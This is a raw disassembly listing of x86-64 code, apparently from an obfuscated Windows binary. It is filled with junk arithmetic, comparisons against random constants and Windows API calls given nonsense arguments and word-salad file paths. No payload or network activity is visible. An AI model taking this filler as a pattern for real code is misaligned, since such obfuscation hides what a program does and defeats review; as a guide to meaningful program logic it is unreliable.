movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sar eax, cl
mov rcx, qword [rsp + 0x4ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
xor eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x4d80]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x29e4]
shl eax, cl
mov rcx, qword [rsp + 0x4fa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4910]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c2b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb2c]
add eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
cmp dword [rsp + 0x2adc], 0xc016
ja 0x14005fc58
movsx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0xb34]
mov rdx, qword [rsp + 0x4f60]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140060276
lea rax, [rsp + 0x138]
mov qword [rsp + 0x5080], rax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0x137]
and eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
movsx eax, word [rsp + 0xb34]
movsx ecx, word [0x1401c1a28]
add eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov word [rcx], ax
mov rax, qword [rsp + 0x5038]
mov qword [rsp + 0x5088], rax
movabs rax, 0x3e520240df7efc68
cmp qword [rsp + 0x5088], rax
je 0x1400602b3
movabs rax, 0x3e80d1d5d05af445
cmp qword [rsp + 0x5088], rax
je 0x140060327
jmp 0x1400603d0
lea rcx, [rsp + 0x15520]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x29d4], eax
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5010]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x299c], eax
lea rcx, [rsp + 0x15590]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x2b2c], eax
call fcn.140149290
nop
jmp 0x1400603d0
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4910], rax
lea rcx, [rsp + 0x154b0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x297c], eax
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
shl rax, cl
mov rcx, qword [0x1401c2b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x5060]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d80], rax
lea rcx, [rsp + 0x15370]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x2b14], eax
movsx eax, word [rsp + 0xb2c]
movsx ecx, word [rsp + 0xb20]
sar eax, cl
mov word [rsp + 0xb24], ax
mov rax, qword [0x1401c2b20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
or eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4e48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
and eax, ecx
mov rcx, qword [rsp + 0x5080]
mov byte [rcx], al
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x5010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x4dd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2994]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4e88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c1a2c], eax
mov rax, qword [rsp + 0x4e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4910]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [rsp + 0xb3c], ax
mov rax, qword [rsp + 0x4e28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5050]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a28]
add eax, 0xa7
mov dword [rsp + 0x2a28], eax
movsx eax, word [rsp + 0xb2c]
movsx ecx, word [rsp + 0xb24]
xor eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x5010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5010]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x136]
sar eax, cl
mov rcx, qword [rsp + 0x4e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b0c], eax
cmp dword [rsp + 0x2a28], 0xe8b8
jb 0x1400603d0
cmp dword [rsp + 0x2a60], 0x7860
je 0x140060acf
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401c2b18], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x5060]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ff8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x4e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov byte [rcx], al
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [0x1401c1a30]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
and eax, ecx
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4e68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4910], rax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
xor ecx, eax
mov eax, ecx
mov dword [0x1401c1a2c], eax
mov rax, qword [rsp + 0x5038]
movzx ecx, al
mov rax, qword [rsp + 0x4dd8]
shr rax, cl
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
movzx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb1c], ax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb2c]
and eax, ecx
mov word [rsp + 0xb34], ax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x137]
sub eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5010]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xb3c], ax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a5c], eax
mov eax, dword [rsp + 0x2b0c]
mov ecx, dword [rsp + 0x2a0c]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c1a2c], eax
mov eax, dword [rsp + 0x2a60]
add eax, 0x16
mov dword [rsp + 0x2a60], eax
mov rax, qword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x5060]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4910]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x5080]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x138], al
movsx eax, word [rsp + 0xb38]
movsx ecx, word [rsp + 0xb34]
and eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
or eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5080]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0x5028]
movzx eax, byte [rax]
movzx ecx, byte [0x14019f008]
shl eax, cl
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shr eax, cl
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4f70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401c2b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4910]
mov rcx, qword [rsp + 0x4f70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5058]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0xb3c]
mov rcx, qword [rsp + 0x5010]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x5080]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x139]
sub eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov rcx, qword [rsp + 0x5010]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5060]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a58]
mov ecx, dword [rsp + 0x2a00]
add ecx, eax
mov eax, ecx
mov dword [0x1401c1a2c], eax
mov rax, qword [rsp + 0x4e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4ff0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shr eax, cl
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4f60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb24]
or eax, ecx
mov word [rsp + 0xb20], ax
movsx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x139], al
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0xbb]
xor eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb3c]
and eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
jmp 0x1400605ab
mov rax, qword [rsp + 0x5060]
mov rax, qword [rax]
mov qword [rsp + 0x5090], rax
movabs rax, 0x74842497d1346e17
cmp qword [rsp + 0x5090], rax
je 0x140060af8
jmp 0x140060b03
call fcn.140149a00
nop
jmp 0x140060b83
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
movzx ecx, byte [rsp + 0x136]
mov rdx, qword [rsp + 0x4ef0]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140148105
lea rcx, [rsp + 0x4fd0]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0x15158], rax
mov rax, qword [rsp + 0x4f80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2994]
shl eax, cl
mov rcx, qword [rsp + 0x4f68]
mov dword [rcx], eax
movsx eax, byte [0x1401c2b18]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x4e30]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2994]
mov rax, qword [rsp + 0x4da8]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x133]
call fcn.14014b010
nop
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov edx, dword [rsp + 0x26f8]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jne 0x140148779
jmp 0x140148796
mov eax, dword [rsp + 0x26f8]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shr eax, cl
mov rcx, qword [rsp + 0x4e30]
mov dword [rcx], eax
lea rdx, [rsp + 0xb28]
lea rcx, [rsp + 0xb2c]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4dd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
call fcn.140149290
nop
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb1c]
xor eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb20]
and eax, ecx
movsx ecx, word [rsp + 0xb2c]
cmp eax, ecx
jle 0x1401489e7
movsx eax, word [rsp + 0xb24]
movsx ecx, word [rsp + 0xb20]
sub eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x132], al
mov rcx, qword [rsp + 0x4d60]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rsp + 0x2b14], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x40daabbe3f662851
mov rax, qword [rax]
add rax, rcx
cmp rax, qword [rsp + 0x4d70]
jl 0x140148cce
mov eax, dword [rsp + 0x2a00]
add eax, 0x351b092
mov dword [rsp + 0x29e4], eax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
mov dword [rsp + 0x46c4], ecx
movsx edx, byte [rsp + 0x135]
movzx ecx, dl
mov edx, dword [rsp + 0x46c4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140148c64
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movabs rax, 0x4d9f15597051f717
mov rcx, qword [rsp + 0x4d70]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
lea r9, [rsp + 0x15320]
mov r8d, 0xb4
lea rdx, str.hunts_follow_Inept_dithers
lea rcx, str.C:DeskincorrectRescuesCaliperAccountant
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4dd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov r8d, 1
lea rdx, str.C:_tabascoTeleprinterStrifes_flatness
lea rcx, str.C:loutEncodeOinked
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x45d0], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
movsx ecx, byte [rsp + 0x132]
cmp eax, ecx
jl 0x140148d56
jmp 0x140148d89
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x133]
shl eax, cl
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov edx, 0xde
mov ecx, 0x9e
call qword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [rsp + 0x2a18], eax
mov rax, qword [rsp + 0x4d68]
mov qword [rsp + 0x15178], rax
movabs rax, 0x3e539118fc156408
cmp qword [rsp + 0x15178], rax
je 0x140148de5
movabs rax, 0xb9346a35704e459d
cmp qword [rsp + 0x15178], rax
je 0x140148dc3
jmp 0x140148e04
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x19ff7574a599cd67
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
jmp 0x140148e04
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
or eax, 0x4094
mov word [rsp + 0xb20], ax
movabs rax, 0xe4d009546d9bf3
mov rcx, qword [rsp + 0x4d68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
movzx eax, byte [rsp + 0xbb]
cmp eax, 0xc2
je 0x140148f3b
lea rax, [rsp + 0x2994]
mov qword [rsp + 0x20], rax
mov r9d, 0xcf
lea r8, [rsp + 0xb1c]
mov edx, 0x5a
mov ecx, 0xb3
call qword [sym.imp.KERNEL32.dll_GetStringTypeA]
mov dword [rsp + 0x298c], eax
call fcn.140149a00
nop
movabs rax, 0x6814c290c69299a9
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
cmp rax, qword [rcx]
jne 0x140148fb5
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
add eax, 0x24
mov byte [rsp + 0x132], al
lea r8, [rsp + 0x15e90]
mov edx, 0x7b
mov ecx, 0x3c
call qword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov dword [rsp + 0x45d0], eax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movabs rax, 0x84869600bf799e3
cmp qword [rsp + 0x4d68], rax
ja 0x14014908c
mov word [rsp + 0x20], 0xf1
mov r9d, dword [rsp + 0x2988]
movzx r8d, word [rsp + 0xb1c]
movzx edx, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4d70]
call fcn.14014a410
nop
mov dword [rsp + 0x20], ILCloneFirst
mov r9d, 0xb8
mov r8d, PathMakeUniqueName
mov edx, 0xe9
mov rcx, qword [rsp + 0x4d78]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x2a18], eax
movabs rax, 0xb39fd6873ef1e77c
mov rcx, qword [rsp + 0x4d68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
movabs rax, 0x8df9b4fa583898af
cmp qword [rsp + 0x4d68], rax
jne 0x1401491e2
mov rax, qword [rsp + 0x4d70]
mov qword [rsp + 0x15180], rax
movabs rax, 0x1eb7753dcc04e138
cmp qword [rsp + 0x15180], rax
je 0x14014914d
jmp 0x1401491d8
xor edx, edx
lea rcx, [rsp + 0x15b50]
call qword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
mov dword [rsp + 0x2994], eax
movabs rax, 0x7efa45fc4f26cc91
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov dword [rsp + 0x28], 0x76
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x20], rax
mov r9d, 0xf4
lea r8, [rsp + 0x4d78]
mov edx, SHDoDragDrop
lea rcx, str.C:Benediction_shadows_transvestiteHooded
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rsp + 0x4d78], rax
movzx eax, word [rsp + 0xb1c]
or eax, 0x505
mov word [rsp + 0xb1c], ax
jmp 0x1401491e2
mov cx, 0x68
call fcn.140149e50
nop